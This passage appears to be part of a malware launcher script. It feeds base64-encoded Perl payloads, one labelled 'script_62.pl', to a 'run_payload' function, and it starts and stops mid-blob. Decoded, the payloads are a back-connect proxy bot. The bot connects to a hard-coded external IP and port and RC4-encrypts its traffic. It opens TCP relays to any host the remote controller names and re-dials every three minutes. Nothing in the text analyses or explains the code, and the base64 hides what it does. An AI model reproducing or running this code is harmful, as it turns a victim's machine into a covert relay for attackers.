nBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_62.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjA0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZ